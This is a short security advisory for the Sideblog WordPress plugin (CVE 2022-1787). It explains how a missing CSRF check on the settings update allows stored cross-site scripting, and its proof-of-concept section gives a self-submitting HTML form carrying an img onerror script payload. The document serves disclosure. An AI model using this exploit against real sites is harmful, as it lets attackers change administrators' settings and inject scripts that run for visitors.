Sideblog <= 6.0 – Arbitrary Settings Update via CSRF to Stored XSS | CVE 2022-1787

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=sideblog.php" method="POST">
    <input type="text" name="sideblog_options_update" value="update">
    <input type="text" name="sideblog_options[setaside][1]" value="1">
    <input type="text" name="sideblog_options[displayformat][1]" value="<img src=x onerror=alert(1)>">
    <input type="text" name="sideblog_options[numentries][1]" value="1">
    <input type="text" name="sideblog_options[order][1]" value="DESC">
    <input type="text" name="op" value="update">
</form>
<script>
    document.getElementById("test").submit();
</script>

The XSS will be triggered in the Sideblog widget (either embed in frontend pages, or via the Appearance > Widgets > then search the Sideblog and add it)